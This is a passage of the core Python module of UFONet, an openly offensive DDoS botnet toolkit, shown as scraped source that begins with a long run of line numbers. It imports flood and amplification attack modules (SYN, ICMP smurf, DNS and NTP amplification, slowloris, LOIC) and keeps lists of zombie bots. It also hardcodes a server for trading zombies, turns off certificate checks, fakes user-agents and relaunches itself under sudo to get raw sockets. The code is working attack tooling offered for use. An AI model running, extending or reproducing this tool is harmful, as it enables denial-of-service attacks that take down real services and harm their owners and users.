| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950 | #!/usr/bin/env python3 # -*- coding: utf-8 -*-""""This file is part of the UFONet project, https://ufonet.03c8.netCopyright (c) 2013/2020 | psy <epsylon@riseup.net>You should have received a copy of the GNU General Public License alongwith UFONet; if not, write to the Free Software Foundation, Inc., 51Franklin St, Fifth Floor, Boston, MA  02110-1301  USA"""import os, sys, re, traceback, random, time, threading, base64, string, mathimport io, socket, ssl, cgi, json, gziptry:    from urllib.parse import urlparse as urlparseexcept:    from urlparse import urlparse as urlparsetry:    import urllib.request, urllib.error, urllib.parseexcept:    print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")    sys.exit()from uuid import getnodefrom random import randrange, shufflefrom .options import UFONetOptionsfrom .update import Updaterfrom .herd import Herdfrom .zombie import Zombiefrom .doll import Dollfrom core.tools.inspector import Inspectorfrom core.tools.abductor import Abductorfrom core.tools.ufoscan import UFOSCANfrom core.mods.loic import LOICfrom core.mods.loris import LORISfrom core.mods.ufosyn import UFOSYNfrom core.mods.spray import SPRAYfrom core.mods.smurf import SMURFfrom core.mods.xmas import XMASfrom core.mods.nuke import NUKEfrom core.mods.tachyon import TACHYONfrom core.mods.monlist import MONLISTclass UFONet(object):    def __init__(self):        self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]        self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...        self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]        self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]        self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]        self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 01/02/2020]        self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 01/02/2020]        self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site        self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019]        self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019]        self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019]        self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents        self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names        self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]        self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]        self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]        self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]        self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'        self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'        self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]        self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'        self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]        self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats        self.timeline_file = 'docs/VERSION' # set source for code releases        self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]        self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]        self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]        self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]        self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]        self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]        self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites        self.referer = '' # black magic        self.port = "8080" # default injection port        self.mothershipname = "core/txt/shipname.txt"        self.mothership_baptism() # generating static name/id for your mothership ;-)        self.head = False        self.payload = False        self.external = False        self.attack_mode = False        self.connection_failed = False        self.total_possible_zombies = 0        self.herd = Herd(self)        self.sem = False        self.db_flash = 0 # db stress counter        self.total_aliens = 0         self.aliens_hit = 0        self.aliens_fail = 0        self.total_droids = 0        self.droids_hit = 0        self.droids_fail = 0        self.total_ucavs = 0        self.ucavs_hit = 0        self.ucavs_fail = 0        self.total_rpcs = 0        self.rpcs_hit = 0        self.rpcs_fail = 0        self.total_loic = 0        self.total_loris = 0        self.total_syn = 0        self.total_spray = 0        self.total_smurf = 0        self.total_xmas = 0        self.total_nuke = 0        self.total_tachyon = 0        self.total_monlist = 0        self.total_zombies_failed_connection = 0        self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)        self.ctx.check_hostname = False        self.ctx.verify_mode = ssl.CERT_NONE        self.nat_error_flag = "OFF"        self.trans_zombies = 0        self.scanned_zombies = 0        self.loadcheck_counter = 0        self.loadcheck_prev_size = None        self.loadcheck_prev_load = None        self.loadcheck_first_size = None        self.loadcheck_first_load = None        self.loadcheck_size_list = []        self.loadcheck_load_list = []        self.loadcheck_size_median = None        self.loadcheck_size_max = None        self.loadcheck_size_min = None        self.loadcheck_load_median = None        self.loadcheck_size_max = None        self.loadcheck_size_min = None        self.num_is_up = 0 # counter for [UCAVs] 'up' reports        self.num_is_down = 0 # counter for [UCAVs] 'down' reports        self.expire_timing = 30 # default expiring time per round        self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required        self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning    def mothership_baptism(self):        if os.path.exists(self.mothershipname) == True:            f = open(self.mothershipname)            self.mothership_id = f.read()            f.close()        else:            self.mothership_ids = []             f = open(self.motherships_file)            motherships = f.readlines()            f.close()            for ship in motherships:                ship = ship.encode("utf-8")                self.mothership_ids.append(base64.urlsafe_b64encode(ship))            self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')            m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism            m.write(str(self.mothership_id.upper()))            m.close()    def create_options(self, args=None):        self.optionParser = UFONetOptions()        self.options = self.optionParser.get_options(args)        if not self.options:            return False        return self.options    def banner_welcome(self):        print("")        print("                                                0=============================================0")        print("                                                ||                                           ||")        print("   ||                                     ||    ||  * Botnet -> [DDoS]:                      ||")        print(" -(00)-                                 -(00)-  ||      /Zombies : HTTP GET bots             ||")        print("   ||                (00)                 ||    ||      /Droids  : HTTP GET (+params) bots   ||")        print("        (O)_  (O)  0'----'0  (O)  _(O)          ||      /Aliens  : HTTP POST bots            ||")           print("            |  |.''.( xx ).''.|  |              ||      /UCAVs   : Web Abusing bots          ||")        print("            .'.'   X|'..'|X   '.'.              ||      /X-RPCs  : XML-RPC bots              ||")        print("     .-.  .' /'--.__|_00_|__.--'\ '.  .-.       ||      /DBSTRESS: HTTP DB attack            ||")        print("    (O).)-|0|  \   x| ## |x   /  |0|-(.(O)      ||      /SPRAY   : TCP-SYN reflector         ||")        print("     `-'  '-'-._'-./ -00- \.-'_.-'-'  `-'       ||      /SMURF   : ICMP echo flooder         ||")        print("        _ | ||  '-.___||___.-'  || | _          ||      /TACHYON : DNS amplificator          ||")        print("     .' _ | ||==O |   __   | O==|| | _ '.       ||      /MONLIST : NTP amplificator          ||")        print("    / .' ''.|  || | /_00_\ | ||  |.'' '. \      ||                                           ||")        print("    | '###  |  =| | ###### | |=  |' ###  |      ||   * Close Combat -> [DoS]:                ||")        print("    | |(0)| '.  0\||__**_ ||/0  .' |(0)| |      ||      /LOIC    : Fast HTTP requests        ||")        print("    \ '._.'   '.  | \_##_/ |  .'   '._.' /      ||      /LORIS   : Slow HTTP requests        ||")        print("     '.__ ____0_'.|__'--'__|.'_0____ __.'       ||      /UFOSYN  : TCP-SYN flooder           ||")        print("    .'_.-|                          |-._'.      ||      /XMAS    : TCP-XMAS flooder          ||")        print("                                                ||      /NUKE    : TCP-STARVATION attack     ||")         print("    + Class: UFONet / ViPR404+ (model G) +      ||                                           ||")        print("                                                0|===========================================|0")         print("")    def banner(self):        print('='*75, "\n")        print("888     888 8888888888 .d88888b.  888b    888          888    ")           print("888     888 888        d88P Y888b 8888b   888          888    ")        print("888     888 888       888     888 88888b  888          888    ")        print("888     888 8888888   888     888 888Y88b 888  .d88b.  888888 ")        print("888     888 888       888     888 888 Y88b888 d8P  Y8b 888    ")        print("888     888 888       888     888 888  Y88888 88888888 888    ")        print("Y88b. .d88P 888       Y88b. .d88P 888   Y8888 Y8b.     Y88b.  ")        print(" 'Y88888P'  888        'Y88888P'  888    Y888  'Y8888   'Y8888")               print(self.optionParser.description, "\n")        print('='*75)    def generate_exit_msg(self):        f = open(self.misc_file)        m = f.readlines()        f.close()        self.exit_msg = "Generating random exit... \n\n"        self.exit_msg += " -> "+str(random.choice(m).strip())     def AI(self):        try:            import turtle as AI            print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")            colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']            bg = random.choice(colors).strip()            t = AI.Pen()             AI.bgcolor(bg)            r = random.randrange(100,100000)             for x in range(r):                t.pencolor(colors[x%6])                w = random.randrange(100,1000)                 t.width(x/w + 1)                 t.forward(x)                l = random.randrange(50,1000)                 t.left(l)         except:            print("[AI] %!$1#9#84#~... -> [Exiting!]")            pass    def round_float(self, num):        return str(int(round(num, -1)))[2] # black magic    def show_mac_address(self):        mac = getnode() # to get physical address        hex_mac = str(":".join(re.findall('..', '%012x' % mac)))        return hex_mac    def show_ips(self):        import requests        try:            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)            s.connect(("8.8.8.8", 80))             private_ip = s.getsockname()[0] # black magic            s.close()        except:            private_ip = "Unknown"        try:            public_ip = requests.get(self.check_ip_service3).text        except:            try:                public_ip = requests.get(self.check_ip_service2).text            except:                try:                    public_ip = requests.get(self.check_ip_service1).text                except:                    public_ip = "Unknown"        return private_ip, public_ip    def try_running(self, func, error, args=None):        options = self.options        args = args or []        try:            return func(*args)        except Exception as e:            if options.verbose:                print(error, "error")                traceback.print_exc()    def checkeuid(self):        try:            euid = os.geteuid()        except:            print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")            print("[AI] "+self.exit_msg+"\n")            sys.exit(2) # return        return euid    def start_ship_engine(self):        self.agents = [] # generating available user-agents        f = open(self.agents_file)        agents = f.readlines()        f.close()        for agent in agents:            self.agents.append(agent)        self.user_agent = random.choice(self.agents).strip()        self.search_engines = [] # available dorking search engines        self.search_engines.append('bing') # [01/02/2020: OK!]        self.search_engines.append('yahoo') # [01/02/2020: OK!]        self.search_engines.append('duck') # [01/02/2020: OK!]        #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]        #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]        #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]        if not os.path.exists("core/json/"): # create gui json cfg files folder            os.mkdir("core/json/")        self.banner_welcome()        self.update_flying_stats() # update flying time stats        chargo = self.check_mothership_chargo() # check mothership chargo        self.update_max_chargo(int(chargo)) # update max chargo stats        self.generate_exit_msg() # generate random exit msg    def run(self, opts=None):        if opts:            self.create_options(opts)        options = self.options        # start threads        if not self.options.threads:            self.options.threads=5 # default number of threads        self.sem = threading.Semaphore(self.options.threads)        # start ship engine        self.start_ship_engine()        # check proxy options        proxy = options.proxy        if options.proxy:            try:                pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'                m = re.search(pattern, proxy)                if m is None:                    self.banner()                    print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")                    return                else:                    self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)            except Exception:                self.banner()                print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")                return        # check tor connection        if options.checktor:            url = self.check_tor_url # TOR status checking site            self.banner()            print("\nSending request to: " + url + "\n")            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            try:                if options.proxy: # set proxy                    self.proxy_transport(options.proxy)                req = urllib.request.Request(url, None, headers)                tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')                your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP                if not tor_reply or 'Congratulations' not in tor_reply:                    print("It seems that Tor is not properly set.\n")                    print(("IP address appears to be: " + your_ip + "\n"))                else:                    print("Congratulations!. Tor is properly being used :-)\n")                    print(("IP address appears to be: " + your_ip + "\n"))            except:                print("Cannot reach TOR checker system!. Are you correctly connected?\n")                sys.exit(2) # return        # run AES256+HMAC-SHA1 enc/dec tool        if options.cryptomsg:            from core.tools.crypter import Cipher            print("  " + '='*44)            print("                                            ")            print("          ____...------------...____        ")            print("     _.-'' /o/__ ____ __ __  __ \o\_`'-._   ")            print("   .'     / /                    \ \     '. ")            print("   |=====/o/======================\o\=====| ")            print("   |____/_/________..____..________\_\____| ")            print("   /   _/ \_     <_o#\__/#o_>     _/ \_   \ ")            print("   \__/_____\####/0213411543/####/_____\__/ ")            print("    |===\!/========================\!/===|  ")            print("    |   |=|          .---.         |=|   |  ")            print("    |===|o|=========/     \========|o|===|  ")            print("    |   | |         \() ()/        | |   |  ")            print("    |===|o|======{'-.) A (.-'}=====|o|===|  ")            print("    | __/ \__     '-.\\uuu/.-'    __/ \__ |  ")            print("    |==== .'.'^'.'.====|====.'.'^'.'.====|  ")            print("    |  _\o/   __  {.' __  '.} _   _\o/  _|  ")            print("    ''''''''''''''''''''''''''''''''''''''  ")            print("\n     + UFONet Crypter (AES256+HMAC-SHA1)")            print("  (140 plain text chars = 69 encrypted chars)\n")            print("  " + '='*44 + "\n")            text = str(input("-> Enter TEXT: "))            input_key = str(input("\n-> Enter KEY: "))            key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')            c = Cipher(key, text)            msg = c.encrypt()            msg = msg.decode('utf-8')            c.set_text(msg)            print("\n" + "  " + '-'*44)            print('\n-> Ciphertext: [', msg, ']')            print('\n-> Length:', len(msg))            print("\n" + "  " + '-'*44)            print('\n-> Key (share it using SNEAKNET!):', input_key)            print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")         # run shownet tool        if options.shownet:            hex_mac = self.show_mac_address()            self.banner()            print("-> Network Info:")            print('='*44)            print("-"*35)            print("|- MAC Address :", hex_mac)            print("|" +"-"*34)            private_ip, public_ip = self.show_ips()            print("|- IP Private  :", private_ip)            print("|" +"-"*34)            t = urlparse(self.check_ip_service3)            name_service = t.netloc            print("|- IP Public   :", public_ip +" | ["+name_service+"]")            print("-"*35)            print('='*75, "\n")        # run UFOSCAN tool (check EUID when running UFOSCAN)        if options.xray:            euid = self.checkeuid()            if euid != 0:                print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")                try:                    args = ['sudo', sys.executable] + sys.argv + [os.environ]                    os.execlpe('sudo', *args)                except:                    pass # keep running            else:                if not options.xrayps:                    options.xrayps = str("1-1024") # default scanning ports (1-1024)                ports = options.xrayps                try:                    portX, portY = ports.split('-')                    try:                        portX = int(portX)                        portY = int(portY)                    except:                        portX = 1                        portY = 1024                        print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")                except:                    portX = 1                    portY = 1024                    print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")                self.banner()                print("\n[AI] Analizing target to extract interesting information... Be patient!\n")                print('='*22 + '\n')                try:                    self.instance = UFOSCAN() # instance main class for scanning operations                    xray = self.instance.scanning(options.xray, portX, portY)                except Exception as e:                    print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")                    if self.options.verbose:                        traceback.print_exc()                    return        # show code timeline        if options.timeline:            f = open(self.timeline_file, 'r')            releases = f.readlines()            f.close()            self.banner()            print("-> Code timeline:")            print('='*44)            print("-"*35)            for r in releases:                print(r.strip('\n'))            print("-"*35)            print('='*75, "\n")        # print some examples        if options.examples:            f = open(self.examples_file, 'r')            examples = f.readlines()            f.close()            self.banner()            for e in examples:                print(e.strip('\n'))        # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly        if options.ufosyn:            euid = self.checkeuid()            if euid != 0:                print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")                try:                    args = ['sudo', sys.executable] + sys.argv + [os.environ]                    os.execlpe('sudo', *args)                 except:                    pass # keep running, but UFOSYN will fail        # check EUID when running SPRAY (root required)        if options.spray:            euid = self.checkeuid()            if euid != 0:                print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")                try:                    args = ['sudo', sys.executable] + sys.argv + [os.environ]                    os.execlpe('sudo', *args)                except:                    pass # keep running, but SPRAY will fail        # check EUID when running SMURF (root required)        if options.smurf:            euid = self.checkeuid()            if euid != 0:                print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")                try:                    args = ['sudo', sys.executable] + sys.argv + [os.environ]                    os.execlpe('sudo', 